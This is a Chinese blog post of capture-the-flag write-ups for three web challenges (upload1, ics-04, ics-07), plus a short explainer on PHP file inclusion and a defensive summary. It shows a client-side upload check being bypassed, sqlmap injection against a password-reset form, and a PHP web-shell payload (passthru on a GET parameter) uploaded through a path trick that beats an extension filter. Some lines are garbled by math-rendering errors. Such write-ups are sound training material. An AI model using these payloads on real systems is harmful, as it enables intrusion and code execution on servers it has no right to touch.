web攻防世界4

upload1

在这里插入图片描述
查看源码发现JS判断

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}
}

这里用check()判断上传的后缀,
直接F12
在这里插入图片描述
删除οnchange=“check”。上传。
在这里插入图片描述
在这里插入图片描述

ics-04

题目描述提到:
在这里插入图片描述
尝试注册
尝试admin注册,提示注册成功,但登录后显示:
在这里插入图片描述
再次注册admin发现还是可以注册,相当于密码重置了。
猜测有别的管理员账号,发现一共有三个页面可操作,登录注册找回密码。
sqlmap跑一下,post型。
抓包findpwd.php,截下来开跑,数据库,表名,列名。
在这里插入图片描述
在这里插入图片描述
用c3tlwDmIn23再次注册,这里前面提到了。
登录记得flag
在这里插入图片描述

ics-07

题目打开直接可以查看源码

<?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

看到floatval(KaTeX parse error: Expected 'EOF', got '&' at position 19: …T[id]) !== '1' &̲&substr(_GET[id], -1) === ‘9’,可以使id=1,9
最后也可以看到 $_SESSION[‘admin’] = True

$ filename = “backup/”.KaTeX parse error: Can't use function '\.' in math mode at position 36: …preg_match('/.+\̲.̲ph(p[3457]?|t|t…/i’, $filename)
这里/.可用flag.php/.绕过。

我们真实目录为uploaded/flag.php
构造木马上传,测试两个.php绕过。
其中 … 代表当前目录的父目录 .代表当前目录 。
file=…/123.php/1.php/…&con=<?php passthru($_GET[haha]);?>
111.198.29.45:38479/uploaded/123.php/1.php?haha=cat …/flag.php
查看源码得到flag
在这里插入图片描述

--------------------------------------------

这里用最简单的方法解释下文件包含(PHP)。
用到的包含函数:
include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
include_once()和require_once():若文件中代码已被包含则不会再次包含。
先写一个php文件,在include()这个函数接受过来的都会以PHP代码来处理。
在这里插入图片描述
再写个txt文件放在同一目录下。
在这里插入图片描述
在这里插入图片描述
访问1.php,让id=2.txt,成功返回(这里可以写成一句话木马直接即可连接)。
在这里插入图片描述
远程包含需要打开php.ini中allow_url_fopen和allow_url_include.
只需将2.txt换成在外网的链接,
http://127.0.0.1/test1/1.php?id=2.txt
变为
http://127.0.0.1/test1/1.php?id=http://127.0.0.1/test2/2.txt 即可访问成功。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值